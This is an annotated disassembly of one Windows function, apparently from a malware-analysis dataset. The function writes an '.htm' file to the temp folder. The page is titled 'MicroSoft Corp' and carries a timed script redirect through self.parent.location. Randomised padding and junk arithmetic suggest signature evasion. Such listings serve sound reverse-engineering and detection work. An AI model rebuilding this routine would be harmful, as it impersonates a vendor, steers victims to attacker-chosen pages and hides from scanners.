Function at 0x40b969
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.0040d87c
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, 0x2e407860
mov eax, esi
sub eax, esi
mov esi, eax
add eax, esi
mov esi, eax
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov ecx, ebx
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40b99b
mov edi, eax
push 8
mov edx, ebx
add edx, edi
push edx
call fcn.00402cf1
add esp, 8
mov eax, esi
add eax, esi
mov esi, eax
push str..htm
push ebx
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x200c], eax
mov eax, dword [ebp - 0x200c]
mov esi, eax
push str._html_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ba13
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
sub eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ba54
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ba7a
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._head_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x7cc1
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40baba
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40baf5
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push dword [ebp + 0x10]
push str.MicroSoft_Corp
lea eax, [ebp - 0x2000]
push eax
push str._s_title__s_u__title_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bb3e
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__head_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, 0x74
mul esi
mov dword [ebp - 0x2010], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bb87
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._body_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
xor eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bbdc
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push str._script_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bc16
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
add eax, esi
mov esi, eax
push str.function_x__
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bc56
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x42fb80
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x2014], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bc9c
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push dword [ebp + 0xc]
lea eax, [ebp - 0x2000]
push eax
push str._sself.parent.location__s__
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bce0
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x7011
push 0x42fb66
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bd20
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0x3e8
cdq
idiv ecx
mov edi, edx
add edi, 0x2710
push edi
lea edi, [ebp - 0x2000]
push edi
push str._ssetTimeout__x_____u__
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bd77
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x12cd
push str.__script_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bdb7
push 0x4302a4
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40bdf2
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
lea edi, [ebp - 0x2000]
push edi
push str._s______u____
lea edi, [ebp - 0x2000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
xor esi, 0x41ca
push str.__body__html_
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x2004], eax
add esi, 0x1a57
lea eax, [ebp - 0x2000]
push eax
call sub.KERNEL32.DLL_lstrlenA
push 0
lea edi, [ebp - 0x2008]
push edi
push eax
lea edi, [ebp - 0x2000]
push edi
push dword [ebp - 0x2004]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x2004]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
inc eax
jmp 0x40be6b
pop edi
pop esi
pop ebx
leave
ret